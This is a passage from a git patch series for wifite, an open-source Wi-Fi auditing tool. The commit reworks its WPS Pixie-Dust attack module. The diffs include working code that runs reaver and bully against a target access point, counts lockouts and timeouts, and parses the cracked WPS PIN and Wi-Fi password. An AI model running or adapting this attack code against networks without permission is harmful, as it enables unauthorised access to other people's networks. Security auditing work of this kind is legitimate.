{G}%s %s' % (str(idx).rjust(3), target.to_str())) Configuration.delete_temp() - diff --git a/wifite/util/scanner.py b/wifite/util/scanner.py index 8162c7104..ae45049a7 100755 --- a/wifite/util/scanner.py +++ b/wifite/util/scanner.py @@ -48,6 +48,10 @@ def __init__(self): # We found the target we want return + for target in self.targets: + if target.bssid in airodump.decloaked_bssids: + target.decloaked = True + self.print_targets() target_count = len(self.targets) @@ -61,11 +65,6 @@ def __init__(self): outline += " {G}%d{W} target(s)," % target_count outline += " {G}%d{W} client(s)." % client_count outline += " {O}Ctrl+C{W} when ready " - decloaked = airodump.decloaked_targets - if len(decloaked) > 0: - outline += "(decloaked" - outline += " {C}%d{W} ESSIDs:" % len(decloaked) - outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked]) Color.clear_entire_line() Color.p(outline) From 90c99b11f1c2c14a4392a57038effaad62082af5 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 7 Apr 2018 06:22:16 -0400 Subject: [PATCH 25/52] 2.1.3: Better WPS attack messaging. Leave device in Monitor Mode. Unrelated to WPS: * Do not take device out of monitor mode when finished (informs user) * Do not restart NetworkManager when finished (informs user) Changes to CLI switches: * --wps-time X: Total time for WPS attack to complete * --wps-timeouts X: Max number of timeouts before failing * --wps-fails X: Max number of WPSFails before failing * Removed unused WPS switches. * Improved --help messaging for WPS switches. * Fail/Timeout threshold default is 100 Bully now outputs useful information: * Current PIN + status * Time remaining * Number of Timeout messages * Number of "WPSFail" messages * If AP is locked Better reaver output. * Looks more like Bully's output. * Timer shows time remaining for attack. * Mentions "Running pixiewps" during "M2 message" step. * pixiewps failure looks like this: "Reaver says: 'WPS pin not found'" * Counts Timeouts and "WPS Transaction Failure" (WPSFail) For #28 --- wifite/args.py | 55 ++++--- wifite/attack/wps.py | 15 +- wifite/config.py | 35 ++-- wifite/tools/bully.py | 260 ++++++++++++++++++------------ wifite/tools/reaver.py | 353 +++++++++++++++++++++++++---------------- 5 files changed, 424 insertions(+), 294 deletions(-) diff --git a/wifite/args.py b/wifite/args.py index 13b0046ba..2e721bbe8 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -297,56 +297,55 @@ def _add_wps_args(self, wps): dest='wps_filter', help=Color.s('Filter to display only WPS-enabled networks')) wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter') + wps.add_argument('--bully', action='store_true', dest='use_bully', help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})')) + # Alias + wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully') + wps.add_argument('--no-wps', action='store_true', dest='no_wps', help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) + wps.add_argument('--wps-only', action='store_true', dest='wps_only', help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) + # Alias + wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only') - # Same as --wps-only - wps.add_argument('--pixie', - help=argparse.SUPPRESS, - action='store_true', - dest='wps_only') - - wps.add_argument('--pixiet', + # Time limit on entire attack. + wps.add_argument('--wps-time', action='store', dest='wps_pixie_timeout', - metavar='[seconds]', + metavar='[sec]', type=int, - help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) - wps.add_argument('--pixiest', - action='store', - dest='wps_pixie_step_timeout', - metavar='[seconds]', - type=int, - help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout)) - wps.add_argument('--wpsmf', + help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) + # Alias + wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int) + + # Maximum number of "failures" (WPSFail) + wps.add_argument('--wps-fails', action='store', dest='wps_fail_threshold', - metavar='[fails]', + metavar='[num]', type=int, - help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold)) - wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) - wps.add_argument('--wpsmt', + help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold)) + # Alias + wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) + + # Maximum number of "timeouts" + wps.add_argument('--wps-timeouts', action='store', dest='wps_timeout_threshold', - metavar='[timeouts]', + metavar='[num]', type=int, - help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold)) - wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) - wps.add_argument('--ignore-ratelimit', - action='store_false', - dest='wps_skip_rate_limit', - help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})')) - wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit') + help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold)) + # Alias + wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) def _add_command_args(self, commands): diff --git a/wifite/attack/wps.py b/wifite/attack/wps.py index 906a25fdc..7c49ffa0e 100755 --- a/wifite/attack/wps.py +++ b/wifite/attack/wps.py @@ -29,19 +29,18 @@ def run(self): bully = Bully(self.target) bully.run() bully.stop() - if bully.crack_result is not None: - self.crack_result = bully.crack_result - self.success = True - return True + self.crack_result = bully.crack_result + self.success = self.crack_result is not None + return self.success else: reaver = Reaver(self.target) if reaver.is_pixiedust_supported(): # Reaver: Pixie-dust reaver = Reaver(self.target) - if reaver.run_pixiedust_attack(): - self.crack_result = reaver.crack_result - self.success = True - return True + reaver.run() + self.crack_result = reaver.crack_result + self.success = self.crack_result is not None + return self.success else: Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}") diff --git a/wifite/config.py b/wifite/config.py index d434de10a..b3a6f8462 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -12,7 +12,7 @@ class Configuration(object): initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory - version = '2.1.2' + version = '2.1.3' @staticmethod def initialize(load_interface=True): @@ -88,10 +88,8 @@ def initialize(load_interface=True): Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks Configuration.use_bully = False # Use bully instead of reaver Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails - Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails - Configuration.wps_fail_threshold = 30 # Max number of failures - Configuration.wps_timeout_threshold = 30 # Max number of timeouts - Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs + Configuration.wps_fail_threshold = 100 # Max number of failures + Configuration.wps_timeout_threshold = 100 # Max number of timeouts # Commands Configuration.show_cracked = False @@ -214,31 +212,25 @@ def load_from_arguments(): # WPS if args.wps_filter: - Configuration.wps_filter = args.wps_filter + Configuration.wps_filter = args.wps_filter if args.wps_only: Configuration.wps_only = True Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)') if args.no_wps: - Configuration.no_wps = args.no_wps + Configuration.no_wps = args.no_wps Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets') if args.use_bully: - Configuration.use_bully = args.use_bully + Configuration.use_bully = args.use_bully Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') if args.wps_pixie_timeout: Configuration.wps_pixie_timeout = args.wps_pixie_timeout - Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) - if args.wps_pixie_step_timeout: - Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout - Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout) + Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout) if args.wps_fail_threshold: Configuration.wps_fail_threshold = args.wps_fail_threshold - Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold) + Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold) if args.wps_timeout_threshold: Configuration.wps_timeout_threshold = args.wps_timeout_threshold - Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold) - if args.wps_skip_rate_limit == False: - Configuration.wps_skip_rate_limit = False - Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited') + Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold) # Adjust encryption filter Configuration.encryption_filter = [] @@ -321,11 +313,14 @@ def exit_gracefully(code=0): Macchanger.reset_if_changed() from .tools.airmon import Airmon if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None: - Airmon.stop(Configuration.interface) - Airmon.put_interface_up(Airmon.base_interface) + Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface) + Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface) + #Airmon.stop(Configuration.interface) + #Airmon.put_interface_up(Airmon.base_interface) if Airmon.killed_network_manager: - Airmon.start_network_manager() + Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') + #Airmon.start_network_manager() exit(code) diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index c0a19f996..84e2d2612 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -15,10 +15,10 @@ class Bully(Attack): def __init__(self, target): super(Bully, self).__init__(target) - self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0 - self.pins_attempted = 0 + self.total_timeouts = 0 + self.total_failures = 0 + self.locked = False self.state = "{O}Waiting for beacon{W}" - self.m_state = None self.start_time = time.time() self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None @@ -46,8 +46,6 @@ def __init__(self, target): self.bully_proc = None - def attack_type(self): - return "Pixie-Dust" def run(self): with Airodump(channel=self.target.channel, @@ -55,11 +53,7 @@ def run(self): skip_wps=True, output_file_prefix='wps_pin') as airodump: # Wait for target - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "Waiting for target to appear...") + self.pattack("Waiting for target to appear...") self.target = self.wait_for_target(airodump) # Start bully @@ -67,27 +61,42 @@ def run(self): stderr=Process.devnull(), bufsize=0, cwd=Configuration.temp()) + + # Start bully status thread t = Thread(target=self.parse_line_thread) t.daemon = True t.start() + try: while self.bully_proc.poll() is None: try: self.target = self.wait_for_target(airodump) except Exception as e: - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "{R}failed: {O}%s{W}" % e) - Color.pl("") + self.pattack('{R}Failed: {O}%s{W}' % e, newline=True) self.stop() break - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - self.get_status()) + + # Update status + self.pattack(self.get_status()) + + # Check if entire attack timed out. + if self.running_time() > Configuration.wps_pixie_timeout: + self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True) + self.stop() + return + + # Check if timeout threshold was breached + if self.total_timeouts >= Configuration.wps_timeout_threshold: + self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True) + self.stop() + return + + # Check if WPSFail threshold was breached + if self.total_failures >= Configuration.wps_fail_threshold: + self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True) + self.stop() + return + time.sleep(0.5) except KeyboardInterrupt as e: self.stop() @@ -97,131 +106,179 @@ def run(self): raise e if self.crack_result is None: - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "{R}Failed{W}\n") + self.pattack("{R}Failed{W}", newline=True) + + + def pattack(self, message, newline=False): + # Print message with attack information. + time_left = Configuration.wps_pixie_timeout - self.running_time() + + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + 'Pixie-Dust', + '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message)) + if newline: + Color.pl("") + def running_time(self): return int(time.time() - self.start_time) + def get_status(self): - result = self.state - result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time()) - result += " {G}tries:%d{W}" % self.pins_attempted - result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc) - result += " {R}lockouts:%d{W}" % self.consecutive_lockouts - result += ")" - return result + main_status = self.state + + meta_statuses = [] + if self.total_timeouts > 0: + meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts) + + if self.total_failures > 0: + meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures) + + if self.locked: + meta_statuses.append("{R}Locked{W}") + + if len(meta_statuses) > 0: + main_status += ' (%s)' % ', '.join(meta_statuses) + + return main_status + def parse_line_thread(self): for line in iter(self.bully_proc.pid.stdout.readline, b""): if line == "": continue line = line.replace("\r", "").replace("\n", "").strip() - if self.parse_line(line): break # Cracked - def parse_line(self, line): + if Configuration.verbose > 1: + Color.pe('\n{P} [bully:stdout] %s' % line) + + self.state = self.parse_state(line) + + self.crack_result = self.parse_crack_result(line) + + if self.crack_result: + break + + + def parse_crack_result(self, line): + # Check for line containing PIN and PSK + # [*] Pin is '80246213', key is 'password' + pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) + if pin_key_re: + self.cracked_pin = pin_key_re.group(1) + self.cracked_key = pin_key_re.group(2) + + ############### + # Check for PIN + if self.cracked_pin is None: + # PIN : '80246213' + pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) + if pin_re: + self.cracked_pin = pin_re.group(1) + + # [Pixie-Dust] PIN FOUND: 01030365 + pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line) + if pin_re: + self.cracked_pin = pin_re.group(1) + + if self.cracked_pin is not None: + # Mention the PIN & that we're not done yet. + self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True) + + self.state = "{G}Finding PSK...{C}" + time.sleep(2) + + ########################### + # KEY : 'password' + key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) + if key_re: + self.cracked_key = key_re.group(1) + + if not self.crack_result and self.cracked_pin and self.cracked_key: + self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True) + self.crack_result = CrackResultWPS( + self.target.bssid, + self.target.essid, + self.cracked_pin, + self.cracked_key) + Color.pl("") + self.crack_result.dump() + + return self.crack_result + + + def parse_state(self, line): + state = self.state + # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) if got_beacon: # group(1)=ESSID, group(2)=BSSID - self.state = "Got beacon" + state = "Got beacon" # [+] Last State = 'NoAssoc' Next pin '48855501' last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) if last_state: # group(1)=result, group(2)=PIN - result = "Start" # last_state.group(1) pin = last_state.group(2) - self.state = "Trying PIN:{C}%s{W}" % pin + state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1)) - # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' - rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) - if rx_m: + mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) + if mx_result_pin: + self.locked = False # group(1)=M3/M5, group(2)=result, group(3)=PIN - self.m_state = rx_m.group(1) - result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad - if result in ["Pin1Bad", "Pin2Bad"]: - self.pins_attempted += 1 - self.consecutive_lockouts = 0 # Reset lockout count - self.consecutive_timeouts = 0 # Reset timeout count - self.consecutive_noassoc = 0 # Reset timeout count - result = "{G}%s{W}" % result - elif result == "Timeout": - self.consecutive_timeouts += 1 + m_state = mx_result_pin.group(1) + result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad + pin = mx_result_pin.group(3) + + if result == "Timeout": + self.total_timeouts += 1 + result = "{O}%s{W}" % result + elif result == "WPSFail": + self.total_failures += 1 result = "{O}%s{W}" % result elif result == "NoAssoc": - self.consecutive_noassoc += 1 result = "{O}%s{W}" % result else: result = "{R}%s{W}" % result - pin = rx_m.group(3) - self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) + + result = "{P}%s{W}:%s" % (m_state.strip(), result.strip()) + state = "Trying PIN {C}%s{W} (%s)" % (pin, result) # [!] WPS lockout reported, sleeping for 43 seconds ... - lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) - if lock_out: - sleeping = lock_out.group(1) - self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping - self.consecutive_lockouts += 1 + re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) + if re_lockout: + self.locked = True + sleeping = re_lockout.group(1) + state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping # [Pixie-Dust] WPS pin not found - pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) - if pixie_re: - self.state = "{R}Failed{W}" - + re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) + if re_pin_not_found: + state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}" # [+] Running pixiewps with the information, wait ... - pixie_re = re.search(r".*Running pixiewps with the information", line) - if pixie_re: - self.state = "{G}Running pixiewps...{W}" - - # [*] Pin is '80246213', key is 'password' - # [*] Pin is '11867722', key is '9a6f7997' - pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) - if pin_key_re: - self.cracked_pin = pin_key_re.group(1) - self.cracked_key = pin_key_re.group(2) - - # PIN : '80246213' - pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) - if pin_re: - self.cracked_pin = pin_re.group(1) - - # KEY : 'password' - key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) - if key_re: - self.cracked_key = key_re.group(1) + re_running_pixiewps = re.search(r".*Running pixiewps with the information", line) + if re_running_pixiewps: + state = "{G}Running pixiewps...{W}" - #warn_re = re.search(r"\[\!\]\s*(.*)$", line) - #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) + return state - if not self.crack_result and self.cracked_pin and self.cracked_key: - Color.clear_entire_line() - Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") - Color.pl("") - self.crack_result = CrackResultWPS( - self.target.bssid, - self.target.essid, - self.cracked_pin, - self.cracked_key) - Color.pl("") - self.crack_result.dump() - return True - else: - return False def stop(self): if hasattr(self, "pid") and self.pid and self.pid.poll() is None: self.pid.interrupt() + def __del__(self): self.stop() + @staticmethod def get_psk_from_pin(target, pin): + # Fetches PSK from a Target assuming "pin" is the correct PIN ''' bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon PIN : '01030365' @@ -229,8 +286,6 @@ def get_psk_from_pin(target, pin): BSSID : '34:21:09:01:92:7c' ESSID : 'AirLink89300' ''' - Color.pl('\n{+} found PIN: {G}%s{W}' % pin) - Color.p('{+} fetching {C}PSK{W} using {C}bully{W}... ') cmd = [ 'bully', '--channel', target.channel, @@ -247,12 +302,11 @@ def get_psk_from_pin(target, pin): key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re is not None: psk = key_re.group(1) - Color.pl('{W}found PSK: {G}%s{W}' % psk) return psk - Color.pl('{R}failed{W}') return None + if __name__ == '__main__': Configuration.initialize() Configuration.interface = 'wlan0mon' diff --git a/wifite/tools/reaver.py b/wifite/tools/reaver.py index d70014034..ca9a27662 100755 --- a/wifite/tools/reaver.py +++ b/wifite/tools/reaver.py @@ -5,6 +5,7 @@ from ..config import Configuration from ..util.color import Color from ..util.process import Process +from ..util.timer import Timer from ..tools.airodump import Airodump from ..tools.bully import Bully # for PSK retrieval from ..model.wps_result import CrackResultWPS @@ -14,155 +15,228 @@ class Reaver(Attack): def __init__(self, target): super(Reaver, self).__init__(target) - self.success = False + + self.start_time = None + self.state = 'Initializing' + self.locked = False + self.total_timeouts = 0 + self.total_wpsfails = 0 + self.crack_result = None + self.output_filename = Configuration.temp('reaver.out') + if os.path.exists(self.output_filename): + os.remove(self.output_filename) + + self.output_write = open(self.output_filename, 'a') + + self.reaver_cmd = [ + 'reaver', + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, + '--pixie-dust', '1', # pixie-dust attack + '--session', '/dev/null', # Don't restart session + '-vv' # (very) verbose + ] + + self.reaver_proc = None + def is_pixiedust_supported(self): ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' output = Process(['reaver', '-h']).stderr() return '--pixie-dust' in output - def run_pixiedust_attack(self): - # Write reaver stdout to file. - self.stdout_file = Configuration.temp('reaver.out') - if os.path.exists(self.stdout_file): - os.remove(self.stdout_file) + def run(self): + ''' Returns True if attack is successful. ''' + try: + self._run() # Run-loop + except Exception as e: + # Failed with error + self.pattack('{R}Failed:{O} %s' % str(e), newline=True) + return self.crack_result is not None + + # Stop reaver if it's still running + if self.reaver_proc.poll() is None: + self.reaver_proc.interrupt() + + # Clean up open file handle + if self.output_write: + self.output_write.close() + + return self.crack_result is not None - command = [ - 'reaver', - '--interface', Configuration.interface, - '--bssid', self.target.bssid, - '--channel', self.target.channel, - '--pixie-dust', '1', # pixie-dust attack - '--session', '/dev/null', # Don't restart session - '-vv' # (very) verbose - ] - stdout_write = open(self.stdout_file, 'a') - reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) - pin = None - step = 'initializing' - time_since_last_step = 0 + def _run(self): + self.start_time = time.time() with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='pixie') as airodump: - Color.clear_line() - Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") + # Wait for target + self.pattack("Waiting for target to appear...") + self.target = self.wait_for_target(airodump) + + # Start reaver + self.reaver_proc = Process(self.reaver_cmd, + stdout=self.output_write, + stderr=Process.devnull()) + + # Loop while reaver is running + while self.crack_result is None and self.reaver_proc.poll() is None: + + # Refresh target information (power) + self.target = self.wait_for_target(airodump) + + # Update based on reaver output + stdout = self.get_output() + self.state = self.parse_state(stdout) + self.parse_failure(stdout) + + # Print status line + self.pattack(self.get_status()) + + # Check if we cracked it + self.crack_result = self.parse_crack_result(stdout) + + time.sleep(0.5) + + # Check if crack result is in output + stdout = self.get_output() + self.crack_result = self.parse_crack_result(stdout) + + # Show any failures found + if self.crack_result is None: + self.parse_failure(stdout) + + if self.crack_result is None and self.reaver_proc.poll() is not None: + raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll()) + + + def get_status(self): + main_status = self.state + + meta_statuses = [] + if self.total_timeouts > 0: + meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts) + + if self.total_wpsfails > 0: + meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails) + + if self.locked: + meta_statuses.append("{R}Locked{W}") + + if len(meta_statuses) > 0: + main_status += ' (%s)' % ', '.join(meta_statuses) + + return main_status + + + def parse_crack_result(self, stdout): + if self.crack_result is not None: + return self.crack_result + + (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) - while True: - try: - airodump_target = self.wait_for_target(airodump) - except Exception as e: - Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) + # Check if we cracked it, or if process stopped. + if pin is not None: + # We cracked it. + + if psk is not None: + # Reaver provided PSK + self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True) + else: + self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True) + + # Try to derive PSK from PIN using Bully + self.pattack('{W}Retrieving PSK using {C}bully{W}...') + psk = Bully.get_psk_from_pin(self.target, pin) + if psk is None: Color.pl("") - return False - - stdout_write.flush() - - # Check output from reaver process - stdout = self.get_stdout() - stdout_last_line = stdout.split('\n')[-1] - - (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) - - # Check if we cracked it, or if process stopped. - if pin is not None or reaver.poll() is not None: - reaver.interrupt() - - # Check one-last-time for PIN/PSK/SSID, in case of race condition. - stdout = self.get_stdout() - (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout) - - # Check if we cracked it. - if pin is not None: - # We cracked it. - - if psk is None: - # Try to derive PSK from PIN using Bully - psk = Bully.get_psk_from_pin(self.target, pin) - - bssid = self.target.bssid - Color.clear_entire_line() - if psk is None: - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)") - else: - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") - Color.pl("") - self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) - self.crack_result.dump() - return True - else: - # Failed to crack, reaver proces ended. - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") - return False - - if 'WPS pin not found' in stdout: - Color.pl('{R}failed: {O}WPS pin not found{W}') - break - - last_step = step - # Status updates, depending on last line of stdout - if 'Waiting for beacon from' in stdout_last_line: - step = '({C}step 1/8{W}) waiting for beacon' - elif 'Associated with' in stdout_last_line: - step = '({C}step 2/8{W}) waiting to start session' - elif 'Starting Cracking Session.' in stdout_last_line: - step = '({C}step 3/8{W}) waiting to try pin' - elif 'Trying pin' in stdout_last_line: - step = '({C}step 4/8{W}) trying pin' - elif 'Sending EAPOL START request' in stdout_last_line: - step = '({C}step 5/8{W}) sending eapol start request' - elif 'Sending identity response' in stdout_last_line: - step = '({C}step 6/8{W}) sending identity response' - elif 'Sending M2 message' in stdout_last_line: - step = '({C}step 7/8{W}) sending m2 message (may take a while)' - elif 'Detected AP rate limiting,' in stdout_last_line: - if Configuration.wps_skip_rate_limit: - Color.pl('{R}failed: {O}hit WPS rate-limit{W}') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') - break - step = '({C}step -/8{W}) waiting for AP rate limit' - - if step != last_step: - # Step changed, reset step timer - time_since_last_step = 0 + self.pattack('{R}Failed {O}to get PSK using bully', newline=True) else: - time_since_last_step += 1 - - if time_since_last_step > Configuration.wps_pixie_step_timeout: - Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) - break - - # TODO: Timeout check - if reaver.running_time() > Configuration.wps_pixie_timeout: - Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) - break - - # Reaver Failure/Timeout check - fail_count = stdout.count('WPS transaction failed') - if fail_count > Configuration.wps_fail_threshold: - Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) - break - timeout_count = stdout.count('Receive timeout occurred') - if timeout_count > Configuration.wps_timeout_threshold: - Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) - break - - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", step) - - time.sleep(1) - continue - - # Attack failed, already printed reason why - reaver.interrupt() - stdout_write.close() - return False + self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True) + + crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) + crack_result.dump() + return crack_result + + return None + + + def parse_failure(self, stdout): + # Total failure + if 'WPS pin not found' in stdout: + raise Exception('Reaver says "WPS pin not found"') + + # Running-time failure + if self.running_time() > Configuration.wps_pixie_timeout: + raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout) + + # WPSFail count + self.total_wpsfails = stdout.count('WPS transaction failed') + if self.total_wpsfails >= Configuration.wps_fail_threshold: + raise Exception('Too many failures (%d)' % self.total_wpsfails) + + # Timeout count + self.total_timeouts = stdout.count('Receive timeout occurred') + if self.total_timeouts >= Configuration.wps_timeout_threshold: + raise Exception('Too many timeouts (%d)' % self.total_timeouts) + + + def parse_state(self, stdout): + state = self.state + + stdout_last_line = stdout.split('\n')[-1] + + if 'Waiting for beacon from' in stdout_last_line: + state = 'Waiting for beacon' + + elif 'Associated with' in stdout_last_line: + state = 'Associated' + + elif 'Starting Cracking Session.' in stdout_last_line: + state = 'Waiting to try PIN' + + elif 'Trying pin' in stdout_last_line: + state = 'Trying PIN' + + elif 'Sending EAPOL START request' in stdout_last_line: + state = 'Sending EAPOL Start request' + + elif 'Sending identity response' in stdout_last_line: + state = 'Sending identity response' + self.locked = False + + elif 'Sending M2 message' in stdout_last_line: + state = 'Sending M2 / Running pixiewps' + self.locked = False + + elif 'Detected AP rate limiting,' in stdout_last_line: + state = 'Rate-Limited by AP' + self.locked = True + + return state + + + def pattack(self, message, newline=False): + # Print message with attack information. + time_left = Configuration.wps_pixie_timeout - self.running_time() + + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + 'Pixie-Dust', + '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message)) + if newline: + Color.pl("") + + + def running_time(self): + return int(time.time() - self.start_time) + @staticmethod def get_pin_psk_ssid(stdout): @@ -196,12 +270,21 @@ def 